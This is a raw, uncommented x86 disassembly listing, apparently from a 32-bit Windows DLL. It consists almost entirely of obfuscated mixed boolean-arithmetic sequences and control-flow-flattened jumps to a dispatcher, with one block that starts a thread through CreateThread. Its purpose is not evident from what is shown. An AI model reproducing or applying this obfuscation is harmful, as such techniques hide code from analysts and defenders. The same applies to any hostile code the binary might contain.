mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov dh, dl
xor dh, 1
mov ch, ah
xor ch, 1
and ch, ah
xor ch, 1
mov cl, ah
xor cl, ch
or ch, ah
xor ch, 1
or ch, cl
mov ah, ch
xor ah, 1
mov cl, dh
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, dh
mov dh, cl
and dh, ah
mov bl, ah
xor bl, cl
xor cl, 1
and cl, ch
or cl, dh
or ah, dl
mov edx, ebx
xor dl, ah
or ah, bl
xor ah, 1
or ah, dl
mov ch, ah
xor ch, 1
mov dl, ah
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, ah
mov ah, dl
and ah, cl
mov dh, cl
xor dh, ch
or ch, cl
xor cl, 1
xor dl, 1
and dl, cl
or dl, ah
xor ch, 1
or ch, dh
xor dl, 1
mov cl, dl
xor cl, ch
or dl, ch
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
xor ah, 1
mov ecx, eax
and cl, ah
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
mov ah, cl
or ah, dl
mov byte [esp], ah
mov ah, al
and al, cl
xor al, 1
mov dh, al
xor dh, cl
or al, cl
xor al, 1
or al, dh
mov dh, al
xor dh, 1
and dh, dl
mov ebx, edx
xor bl, 1
or ah, bl
mov dl, ah
xor dl, 1
mov bh, dl
and bh, ah
xor bh, 1
mov ch, bh
xor ch, ah
or bh, ah
mov ah, byte [esp]
xor ah, 1
xor bh, 1
or bh, ch
mov ch, ah
xor bh, ah
xor ah, dl
or dl, ch
xor dl, 1
or dl, ah
xor dl, 1
or dl, bh
mov ah, bl
xor ah, al
and al, bl
or al, dh
or cl, bl
xor cl, 1
or cl, al
mov al, cl
xor al, 1
and al, ah
xor ah, 1
mov ch, ah
xor ch, cl
and ch, ah
and cl, ah
or cl, al
or cl, ch
mov ah, cl
xor ah, 1
mov al, dl
xor al, 1
and cl, dl
or dl, ah
and al, ah
or al, cl
mov ecx, eax
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov edi, 0x898e3e79
mov ecx, 0xd1836a6d
cmovne edi, ecx
test dl, 1
cmove edi, ecx
test al, 1
mov eax, 0x898e3e79
cmove edi, eax
jmp 0x10011930
mov edi, 0x5d5e6276
jmp 0x10011930
cmp byte [esp + 0x37], 0
mov edi, 0xacb67da4
mov eax, 0x646c0849
cmovne edi, eax
jmp 0x10011930
push dword [esp + 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x898e3e79
jmp 0x10011930
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffaa
push dword [esp + 0x34]
mov esi, dword [esp + 0x34]
push esi
call section..text
add esp, 0xc
push 0
push 0
push esi
push 0x1000fa10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x40], eax
test eax, eax
setne byte [esp + 0x37]
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
mov esi, edx
and eax, 0x6316de3d
mov edx, ecx
mov ebp, ecx
and edx, 0x9ce921c2
or edx, eax
mov eax, edx
xor eax, 0x8210102
xor edx, 0x40100400
mov edi, esi
mov ecx, esi
mov dword [esp], esi
or edi, 0x50102440
or edx, 0x1c08289
and edx, 0x51d0a6c9
and eax, 0x8231126
or eax, edx
and edi, 0x51d0a6c9
mov esi, ebp
and esi, 0xa60c4810
or esi, edi
xor esi, eax
mov eax, ecx
and eax, 0xc3954793
mov ecx, ebp
and ecx, 0x3c6ab86c
or ecx, eax
mov edi, ecx
xor edi, 0x3c6ab86c
xor ecx, 0x914712
and ecx, 0x1499df3e
mov edx, edi
and edx, 0xeb6620c1
or edx, ecx
mov eax, esi
xor eax, 0x26cc0290
xor edx, 0xeb6620c1
or edx, edi
xor esi, 0x58333566
mov ecx, esi
and ecx, 0xc133dc69
and eax, 0x3ecc2396
or eax, ecx
mov ecx, edx
xor ecx, 0x4931da21
or ecx, 0x2cc0096
and ecx, 0x42cd4097
or esi, edx
mov edi, edx
mov ebx, edx
and edx, 0x81329c68
or edx, ecx
or edi, 0x40014001
not ebx
and edi, 0x42cd4097
and ebx, 0x3c002300
or ebx, edi
xor ebx, edx
mov edi, ebx
xor edi, ebx
not edi
and edi, eax
xor edi, ebx
mov edx, edi
not edx
mov eax, edx
and eax, 0xc60c01d4
and edi, 0x39f3fe2b
or edi, eax
xor edi, esi
xor edi, 0x39f3fe2b
or edx, esi
not edx
or edx, edi
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xae1d3ec9
mov esi, eax
and esi, 0x51e2c136
or esi, ecx
mov ecx, esi
xor ecx, 0x51e2c136
xor esi, 0x8513d81d
and esi, ecx
mov edi, eax
and edi, 0xd4f1192b
or edi, esi
mov esi, edi
xor esi, 0x23084605
or edx, edi
not edx
xor edi, 0xd4f01920
and edi, 0xdcf6b9f0
and esi, 0x2309460f
or esi, edi
or eax, 0xdcf6b9f0
and eax, 0xdcf6b9f1
xor eax, esi
and edx, 1
or edx, eax
not eax
and eax, 0x81b29a00
and edx, 0x7e4d65ff
or edx, eax
mov edi, dword [esp]
mov eax, edi
and eax, 0x110409b8
mov ecx, ebp
and ecx, 0x2a402002
or ecx, eax
xor ecx, 0x2a402002
mov esi, ebp
mov dword [esp + 4], ebp
and esi, 0xc4bbd645
or esi, ecx
mov eax, esi
xor eax, 0x44999200
xor esi, 0x134429b8
and esi, 0x93666dfc
and eax, 0x6c999203
or eax, esi
mov ecx, edi
and ecx, 0xcd1d8d79
mov edi, ebp
and edi, 0x32e27286
or edi, ecx
mov ebp, edx
xor ebp, 0x7e4d65ff
xor eax, 0x6c999203
xor edi, 0x32e27286
or edi, eax
xor edx, 0x81b29a00
mov eax, edx
and eax, 0x5a1c7adc
mov esi, ebp
and esi, 0xa5e38523
or esi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x5a1c7adc
mov ebx, edi
and ebx, 0xa5e38523
or ebx, ecx
xor ebx, esi
not ebx
or ebx, edx
and edx, 0x970005c4
mov esi, ebp
and esi, 0x68fffa3b
or esi, edx
xor esi, edi
xor esi, 0x68fffa3b
and esi, eax
xor eax, ebp
and eax, ebp
or eax, esi
mov edx, eax
and eax, ebx
not ebx
not edx
mov esi, ebx
xor esi, edx
and esi, ebx
and edx, ebx
or edx, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xd25ad0f
and esi, 0xf2da52f0
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0xd25ad0f
and edx, 0xf2da52f0
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xf472d6c7
mov esi, eax
and esi, 0xb8d2938
or esi, ecx
xor esi, 0x71969465
and eax, 0x85e442a2
or esi, eax
mov ecx, edx
and ecx, 0x7a1bbd5d
or ecx, eax
xor edx, ecx
and edx, ecx
mov eax, edx
and edx, esi
mov ecx, esi
not ecx
not eax
mov esi, ecx
xor esi, eax
and esi, ecx
and eax, ecx
or eax, edx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x171ff40a
and esi, 0xe8e00bf5
or esi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x171ff40a
and eax, 0xe8e00bf5
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov esi, edx
not esi
mov eax, edx
xor eax, 0x7baba909
and eax, edx
or edx, 0x845456f6
mov ecx, edx
and ecx, 0x2fe92cc5
and esi, 0x50028108
or esi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x2fe92cc5
and eax, 0xd016d33a
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov ebx, dword [esp]
mov ecx, ebx
or ecx, 0x2380800
mov ebp, dword [esp + 4]
mov eax, ebp
or eax, 0x22000
and eax, 0x23a2800
mov esi, ebx
and esi, 0x40800000
or esi, eax
and ecx, 0x23a2800
mov eax, ebp
and eax, 0x21400401
or eax, ecx
mov edi, edx
xor edi, 0xfe4febab
xor eax, esi
xor eax, 0x21422401
and ebp, 0xc57864b6
mov ecx, ebx
and ecx, 0x3a879b49
or ecx, ebp
xor ecx, 0xa68248b7
and ebx, 0x63fa2c01
or ebx, ecx
xor ebx, eax
and eax, ebx
not ebx
or ebx, eax
mov ecx, ebx
xor ecx, 0x9c05d3fe
xor edx, 0x1b01454
mov eax, edi
mov esi, edx
and esi, 0x80c61cb1
and edi, 0x7f39e34e
or edi, esi
mov esi, edx
xor edi, 0x2702a37b
or edi, edx
and edx, 0x81411f6c
and eax, 0x6a00000
or eax, edx
xor eax, 0x6a00000
and esi, 0x781ee093
or esi, eax
mov dword [esp + 4], esi
xor ebx, 0x63fa2c01
mov eax, ecx
and eax, 0x447b7e9a
mov edx, ebx
and edx, 0xbb848165
or edx, eax
mov eax, ebx
and eax, ecx
mov esi, eax
not esi
mov ebp, ecx
or ebp, esi
and esi, 0x447b7e9a
and eax, 0xbb848165
or eax, esi
xor eax, edx
not ebp
or ebp, eax
mov dword [esp], ebp
mov eax, ebp
not eax
mov dword [esp + 0xc], eax
and eax, 0x787c042d
mov edx, ebp
and edx, 0x8783fbd2
or edx, eax
mov eax, edx
xor eax, 0x8783fbd2
xor edx, 0x601c0420
and edx, 0x601f3572
mov esi, eax
and esi, 0x9fe0ca8d
or esi, edx
xor esi, 0xc7db8ab8
and eax, 0xa7c4bfca
or eax, esi
and ebx, 0x8480134a
and ecx, 0x2344ac80
or ecx, ebx
mov ebx, ecx
xor ebx, 0x2340ac00
or ebx, 0x40314031
xor ecx, 0x80001048
and ecx, 0x800410c8
and ebx, 0x67f1ef33
or ebx, ecx
mov esi, dword [esp + 4]
mov edx, esi
not edx
mov dword [esp + 8], edx
or edx, 0xa7c4bfca
mov ecx, edx
and edx, 0xc87d0547
mov ebp, esi
and ebp, 0x10024030
or ebp, edx
or ecx, edi
xor ebp, edi
mov edx, ebp
xor edx, 0x3782fab8
xor ebp, 0xc87d0547
mov esi, ebp
and esi, 0xc94f1ed9
and edx, 0x36b0e126
or edx, esi
or ebp, ecx
and ecx, 0xd97f5efd
xor ecx, edx
xor ecx, 0x10304024
not ebp
or ebp, ecx
mov dword [esp + 0x10], ebp
mov ecx, eax
not ecx
and eax, 0x6318770c
mov edi, ecx
and edi, 0x9ce788f3
or edi, eax
mov edx, edi
xor edx, 0x9ce788f3
mov dword [esp + 0x14], edx
mov eax, edi
xor eax, 0x59df8394
and eax, edx
and ecx, 0xc5380b67
or ecx, eax
mov esi, ebx
xor esi, 0x67f1ef33
mov ebp, ebx
xor ebp, 0x980e10cc
xor ebx, 0x5d361bab
and ebx, ebp
mov edx, esi
and edx, 0x85000b42
or edx, ebx
mov eax, edx
xor eax, edx
not eax
and eax, ecx
xor eax, edx
xor edi, 0x6318770c
mov ecx, edi
and ecx, 0xe9e784f
mov edx, dword [esp + 0x14]
and edx, 0xf16187b0
or edx, ecx
or edi, esi
and esi, 0x684384a
and ebp, 0xf16187b0
or ebp, esi
xor ebp, edx
not edi
or edi, ebp
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0x4c52160
and eax, 0xfb3ade9f
or eax, ecx
mov ecx, edi
not ecx
or ebp, edi
and edi, 0x4c52160
and ecx, 0xfb3ade9f
or ecx, edi
xor ecx, eax
not ebp
or ebp, ecx
mov esi, dword [esp + 0x10]
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x606d97a6
mov eax, esi
and eax, 0x9f926859
or eax, edx
mov edx, ebp
not edx
xor eax, edx
xor eax, 0x9f926859
and eax, ebp
and edx, 0x40adef37
and ebp, 0xbf5210c8
or ebp, edx
xor ebp, ecx
xor ebp, 0xbf5210c8
and ebp, esi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x4daf1895
and eax, 0xb250e76a
or eax, ecx
mov ecx, ebp
not ecx
or edi, ecx
and ecx, 0x4daf1895
and ebp, 0xb250e76a
or ebp, ecx
xor ebp, eax
not edi
or edi, ebp
mov eax, dword [esp + 8]
and eax, 0x2542118c
mov ecx, dword [esp + 4]
and ecx, 0xdabdee73
or ecx, eax
mov edx, dword [esp + 0xc]
and edx, 0x574c5e10
mov esi, dword [esp]
mov eax, esi
and eax, 0xa8b3a1ef
or eax, edx
xor eax, 0xa8b3a1ef
mov edx, eax
and edx, 0x9515e197
and esi, 0x6aea1e68
or esi, edx
mov dword [esp], esi
mov edx, ecx
xor edx, 0xdabdee73
xor ecx, 0xb057f01b
and ecx, edx
mov esi, ecx
not esi
mov ebx, esi
and ebx, 0x5eb5057b
and ecx, 0xa14afa84
or ecx, ebx
mov ebp, dword [esp + 8]
or ebp, 0x9515e197
or esi, ebp
and ebp, 0x5eb5057b
mov ebx, dword [esp + 4]
and ebx, 0x204a1a00
or ebx, ebp
xor ebx, ecx
not esi
or esi, ebx
mov ebx, dword [esp]
mov ecx, ebx
xor ecx, ebx
not ecx
and ecx, esi
xor ecx, ebx
or eax, edx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x279247f3
and ecx, 0xd86db80c
or ecx, esi
xor ecx, eax
xor ecx, 0xd86db80c
or edx, eax
not edx
or edx, ecx
mov eax, edx
xor eax, 0xc1093a36
and eax, edx
mov ecx, edx
not ecx
or ecx, eax
not eax
and eax, 0x3ef6c5c9
and ecx, 0xc1093a36
or ecx, eax
mov esi, edi
not esi
mov eax, esi
and eax, 0x7214cb2a
mov ebp, edi
and ebp, 0x8deb34d5
or ebp, eax
mov eax, ebp
mov edx, ebp
xor edx, 0x2004010a
or edx, 0x81034060
xor ebp, 0x4002010
and edx, 0xa1c751ee
and ebp, 0x400a810
or ebp, edx
mov edx, ecx
not edx
or esi, 0x20c4118e
and esi, 0xa1c751ee
and edi, 0x5a380601
or edi, esi
mov ebx, ecx
xor ebx, 0x24c4b99e
and ebx, edx
xor edi, ebp
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0xd56cdd1d
and ebx, 0x2a9322e2
or ebx, ebp
xor eax, 0x8deb34d5
or eax, edx
or edx, 0x24c4b99e
or esi, edx
and edx, 0xd56cdd1d
and ecx, 0xa130260
or ecx, edx
xor ecx, ebx
not esi
or esi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x11122060
mov esi, ecx
and esi, 0x5533206a
and eax, 0xaaccdf95
or eax, esi
not eax
or eax, ecx
mov esi, ecx
and esi, 0x4421000a
or esi, edx
xor esi, 0x4421000a
or esi, 0xaaccdf95
mov edx, esi
not edx
mov ecx, edx
xor ecx, eax
and ecx, edx
and esi, 0xa4f4f63e
and edx, 0x51030040
or edx, esi
xor edx, eax
mov esi, edx
xor esi, 0x5b0b09c1
mov eax, ecx
not eax
xor edx, 0xa4f4f63e
mov edi, eax
and edi, 0xba3b525f
and ecx, 0x45002020
or ecx, edi
or eax, edx
and edx, 0xba3b525f
and esi, 0x45c4ada0
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xbf9e2e89
and ecx, eax
or eax, 0x4061d176
mov esi, ecx
not esi
mov edi, eax
and edi, 0xb9f64636
and edx, 0x6082889
or edx, edi
or eax, esi
and esi, 0xb9f64636
and ecx, 0x4609b9c9
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x1552f11c
xor eax, 0xeaad0ee3
mov edx, eax
and edx, 0x24a32109
mov esi, ecx
and esi, 0x181c4ec0
or esi, edx
xor esi, 0x24a32109
mov edx, ecx
and edx, 0xc3409036
or edx, esi
mov esi, edx
not esi
mov edi, edx
and edi, 0xaaf1f2fa
and esi, 0x550e0d05
or esi, edi
or edx, ecx
and ecx, 0xaaf1f2fa
and eax, 0x550e0d05
or eax, ecx
xor eax, esi
not edx
or edx, eax
xor edx, 0xffffffff
sete byte [esp]
setne byte [esp + 4]
cmp dword [0x1004f90c], 0xa
setge ah
setl dl
mov ecx, edx
or cl, ah
mov ch, cl
xor ch, 1
mov al, cl
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
and bl, al
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov bh, bl
xor bh, 1
mov dh, bh
and dh, bl
xor dh, 1
mov ecx, ebx
or cl, dh
xor cl, 1
or cl, bh
mov ch, cl
xor ch, 1
mov al, ch
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, 1
and al, dl
and cl, ah
or cl, al
mov al, ah
xor al, bh
and al, bh
or dh, bh
xor dh, 1
or dh, bl
mov ch, dh
and ch, dl
xor dh, 1
and dh, ah
or dh, ch
xor al, 1
xor dh, 1
mov ch, al
or ch, dh
xor dh, al
xor dh, 1
mov al, dh
xor al, ch
or dh, ch
xor dh, 1
or dh, al
mov ch, dh
xor ch, 1
mov bh, ch
and bh, dh
mov al, bh
xor al, 1
mov bl, bh
and bl, al
xor bl, 1
or bl, al
xor bl, 1
or bl, bh
xor bl, dh
or al, ch
xor al, 1
or al, bl
mov dh, al
xor dh, 1
and dh, al
xor dh, 1
mov ch, al
xor ch, dh
or dh, al
xor dh, 1
or dh, ch
mov al, dh
xor al, 1
mov ch, cl
xor ch, 1
mov bl, ch
and bl, cl
xor bl, 1
mov bh, cl
xor bh, bl
or bl, cl
xor bl, 1
or bl, bh
mov bh, al
xor bh, ch
and bh, dh
or ch, dh
xor bh, 1
mov cl, bh
xor cl, ch
or bh, ch
xor bh, 1
or bh, cl
xor dh, bl
and dh, bl
xor bl, al
mov al, dh
xor al, 1
xor dh, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dh
mov ch, bh
xor ch, 1
mov al, ch
and al, bh
xor al, 1
mov cl, bh
xor cl, al
or al, bh
xor al, 1
or al, cl
xor al, bl
or ch, bl
xor ch, 1
or ch, al
mov bl, ch
mov bh, byte [esp + 4]
xor bl, bh
mov al, bl
and al, ch
and bl, bh
mov cl, al
xor cl, 1
xor al, bl
xor bl, 1
or bl, cl
mov dh, ch
xor dh, 1
xor bl, 1
or bl, al
xor bl, 1
mov cl, byte [esp]
or bl, cl
mov al, dh
xor al, cl
and al, dh
and ch, bh
and dh, cl
or dh, ch
or dh, al
mov ch, dh
xor ch, 1
mov al, bl
xor al, ch
xor al, 1
or al, bl
xor dh, bl
xor bl, 1
and dh, ch
xor ch, bl
and ch, bl
xor dh, 1
xor ch, 1
mov cl, dh
xor cl, ch
or ch, dh
xor ch, 1
or ch, cl
xor ch, 1
mov cl, al
or cl, ch
xor cl, 1
xor ch, al
or ch, cl
mov dh, ah
mov bl, byte [esp]
xor dh, bl
mov al, ah
or al, bl
mov cl, al
xor cl, 1
or dh, cl
or al, dh
xor dh, cl
mov cl, al
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov al, bh
or al, ah
xor ah, bh
and al, ah
or dl, bl
xor dl, 1
or dl, ah
mov cl, dl
not cl
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor cl, 1
and cl, al
xor al, 1
and ah, al
or cl, ah
or al, dl
xor cl, 1
mov dl, cl
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov bl, dh
xor bl, 1
mov ah, cl
and ah, bl
mov dl, dh
and dl, al
or dl, ah
xor dl, 1
or dl, bl
mov ah, dl
xor ah, 1
xor bl, cl
and bl, al
xor al, dh
and al, dh
mov cl, bl
xor cl, 1
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov cl, al
xor cl, 1
and cl, ah
and dl, al
or dl, cl
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
xor al, 1
or al, dl
mov cl, al
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov cl, al
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov dl, ch
xor dl, 1
mov al, ch
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, ch
mov dh, al
xor dh, 1
and dh, cl
and al, ah
or al, dh
mov dh, ch
or dh, ah
and ah, ch
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov bl, dh
xor bl, 1
and cl, dl
or ah, cl
xor dl, ah
and dl, ah
mov ah, dl
xor ah, 1
and dl, dh
or dh, ah
xor dh, 1
and ah, bl
or ah, dl
or ah, dh
mov cl, ah
xor cl, 1
and cl, ah
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ah, dl
or ah, ch
xor ah, 1
mov dh, dl
and dh, cl
xor dh, 1
mov ebx, ecx
xor bl, dh
or dh, cl
xor dh, 1
or dh, bl
mov bl, dh
xor dh, 1
and dh, al
xor dl, al
or al, cl
xor al, 1
or al, ah
and bl, ch
or cl, ch
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
or cl, dh
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x183e694d
mov esi, 0x4b513a84
cmovne ecx, esi
test al, 1
mov edi, 0x183e694d
jmp 0x1002908b
mov edi, 0xc8df811a
jmp 0x10011930
mov eax, dword [esp + 0x48]
cmp eax, 2
mov edi, 0xa4979bbf
mov eax, 0xb9859636
cmovb edi, eax
jmp 0x10011930
mov edi, 0x6545dfb
mov dword [esp + 0x1c], 0
jmp 0x10011930
mov eax, dword [0x1004f908]
lea edi, [eax + 1]
imul edi, eax
mov ebx, edi
not ebx
mov eax, ebx
and eax, edi
mov edx, eax
not edx
mov ecx, edi
and ecx, 0x1e397113
mov esi, ebx
mov dword [esp], ebx
and esi, 0xe1c68eec
or esi, ecx
mov ecx, edi
mov dword [esp + 4], edi
or ecx, edx
and edx, 0x1e397113
and eax, 0xe1c68eec
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edx, ecx
xor edx, 0x3c6d3d88
and edx, ecx
mov eax, ebx
and eax, 0x186d2988
mov ecx, edi
and ecx, 0x24001400
or ecx, eax
mov eax, ecx
xor eax, 0x4001000
or eax, 0x80120212
xor ecx, 0x10450800
and ecx, 0x30450c00
and eax, 0x8c3a339a
or eax, ecx
mov edi, eax
xor edi, 0x8c3a339a
xor eax, 0x4041c005
mov ebx, edx
not ebx
and eax, 0xcc59f01d
mov ecx, edi
and ecx, 0x30240d80
or ecx, eax
mov esi, ecx
xor esi, 0x33a60fe2
xor ecx, 0x84233159
and ecx, esi
and edi, 0x34053c88
or edi, ecx
mov ebp, edx
xor ebp, 0x487ac144
and ebp, ebx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x7ec582e6
and ebp, 0x813a7d19
or ebp, ecx
or esi, ebx
or ebx, 0x487ac144
or eax, ebx
and ebx, 0x7ec582e6
and edx, 0x81003c19
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, eax
xor ecx, edi
not esi
or esi, ecx
mov ecx, esi
xor ecx, 0x3c6d3d88
xor esi, 0xc392c277
mov eax, esi
and eax, 1
and ecx, 0xffd9329a
and esi, 0x26cd65
or esi, ecx
mov edx, esi
xor edx, 0x2d883291
mov ecx, eax
not ecx
xor esi, 0x26cd64
or ecx, esi
and esi, 0xd253cd0e
and edx, 0x2dac32f1
or edx, esi
or eax, 0xd253cd0e
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
and ecx, 0xd6a07243
and edx, 0x295f8dbc
or edx, ecx
mov esi, dword [esp]
mov eax, esi
and eax, 0xde4321e
mov ecx, esi
mov edi, esi
or ecx, 0xde4321e
mov esi, ecx
not esi
or esi, eax
and ecx, 0xf21bcde0
and esi, 0xde4321f
or esi, ecx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xb70e0588
and eax, 0x48f1fa77
or eax, ecx
mov ebx, dword [esp + 4]
mov ecx, ebx
and ecx, 0xb70e0588
and edi, 0x48f1fa77
or edi, ecx
xor edi, eax
or esi, ebx
not esi
or esi, edi
mov edi, esi
not edi
mov eax, esi
mov ecx, esi
and esi, 0x16f27f73
mov ebx, edi
and edi, 0xe90d808c
or edi, esi
mov esi, edx
xor esi, 0xd6a07243
xor edx, 0x295f8dbc
mov ebp, edx
and ebp, 0xafdb4f9f
or ecx, esi
xor edi, edx
xor edi, 0xe90d808c
and edi, esi
and esi, 0x5024b060
or esi, ebp
and ebx, 0xafdb4f9f
and eax, 0x5024b060
or eax, ebx
xor eax, esi
mov ebx, eax
xor ebx, edx
and ebx, eax
mov edx, edi
not edx
mov eax, edx
and eax, 0xa481e7e5
and edi, 0x5b7e181a
or edi, eax
xor edi, ecx
xor edi, 0x5b7e181a
or edx, ecx
not edx
or edx, edi
mov edi, ebx
not edi
mov eax, edi
and eax, 0xdd7f16b9
mov esi, ebx
and esi, 0x2280e946
or esi, eax
mov eax, edx
not eax
mov ecx, eax
mov dword [esp + 8], eax
mov eax, edx
xor eax, 0x4e2791dc
and eax, ecx
mov ecx, edx
and ecx, 0xb1d86e23
or ecx, eax
mov dword [esp + 0x10], ecx
mov ecx, esi
xor ecx, 0x2280e946
mov dword [esp + 0xc], ecx
mov eax, esi
xor eax, 0x93588765
and eax, ecx
mov ecx, eax
not ecx
mov ebp, ecx
and ebp, 0x382286cf
and eax, 0xc7dd7930
or eax, ebp
or edi, 0x4e2791dc
or ecx, edi
and edi, 0x382286cf
and ebx, 0x81d86820
or ebx, edi
xor ebx, eax
not ecx
or ecx, ebx
mov edi, dword [esp + 0x10]
mov eax, edi
xor eax, edi
not eax
and eax, ecx
xor eax, edi
xor esi, 0xdd7f16b9
mov ecx, esi
and ecx, 0xbc3ee4b6
mov edi, dword [esp + 0xc]
and edi, 0x43c11b49
or edi, ecx
or esi, edx
and edx, 0xbc3ee4b6
mov ecx, dword [esp + 8]
and ecx, 0x43c11b49
or ecx, edx
xor ecx, edi
not esi
or esi, ecx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xec820400
mov edx, esi
and edx, 0x60b276
or edx, ecx
mov ecx, edx
xor ecx, 0x1040
xor edx, 0xc2980980
or eax, 0xc0e0a236
and edx, 0xc2f8abb6
and ecx, 0x2c021440
or ecx, edx
and eax, 0xc2f8abb6
and esi, 0x11054009
or esi, eax
xor esi, ecx
mov eax, esi
xor eax, 0x4009
xor esi, 0xc0229602
and eax, 0x2cc0607d
and esi, 0xd33f9f82
or esi, eax
mov ecx, esi
xor ecx, 0x2cc0607d
xor esi, 0xd33f9f82
mov eax, ecx
and eax, esi
and ecx, 0x80189f63
and esi, 0x7fe7609c
or esi, ecx
mov ecx, esi
xor ecx, 0x80088501
mov edx, eax
not edx
xor esi, 0x7fe7609c
mov edi, edx
and edi, 0x50b33a62
and eax, 0xaf4cc59d
or eax, edi
or edx, esi
and esi, 0x50b33a62
and ecx, 0xaf4cc59d
or ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov ebx, dword [esp]
mov eax, ebx
and eax, 0xb2c56aaa
mov ebp, dword [esp + 4]
mov esi, ebp
and esi, 0x4d3a9555
or esi, eax
mov ecx, esi
xor ecx, 0x4020040
xor esi, 0x10c0282a
mov eax, ebp
xor eax, 0x54ca2d6e
and eax, ebp
mov edi, esi
or edi, 0x20000281
and edi, 0x70c827a7
and ecx, 0x4020848
or ecx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0x70c827a7
and eax, 0x8f37d858
or eax, edi
xor eax, ecx
not esi
or esi, eax
not eax
and eax, 0xab35d291
and esi, 0x54ca2d6e
or esi, eax
mov eax, esi
xor eax, 0x635300b2
and eax, esi
mov ecx, ebx
and ecx, 0xb87a1662
mov esi, ebp
and esi, 0x4785e99d
or esi, ecx
xor esi, 0x24d6e92f
xor ebx, esi
and ebx, esi
mov esi, ebx
not esi
mov ecx, eax
xor ecx, esi
and ecx, eax
and esi, 0x255ba777
and ebx, 0xdaa45888
or ebx, esi
xor ebx, eax
xor ebx, 0x255ba777
or ebx, ecx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x60020002
mov esi, ebx
and esi, 0x35100b0
or eax, esi
xor eax, 0x1510090
or esi, 0xc28814d
or ecx, 0x2000020
and esi, 0xe28816d
and eax, 0x61530092
or eax, esi
and ecx, 0xe28816d
and ebx, 0x90847e00
or ebx, ecx
xor ebx, eax
mov esi, ebx
not esi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x3f973267
mov edi, edx
and edi, 0xc068cd98
or edi, eax
mov eax, ebx
and eax, 0x3f973267
and esi, 0xc068cd98
or esi, eax
xor esi, edi
mov eax, esi
xor eax, ecx
and eax, esi
and ecx, 0x908200d
mov esi, edx
and esi, 0x162009b0
or esi, ecx
xor esi, 0x162009b0
and edx, 0xe0d7d642
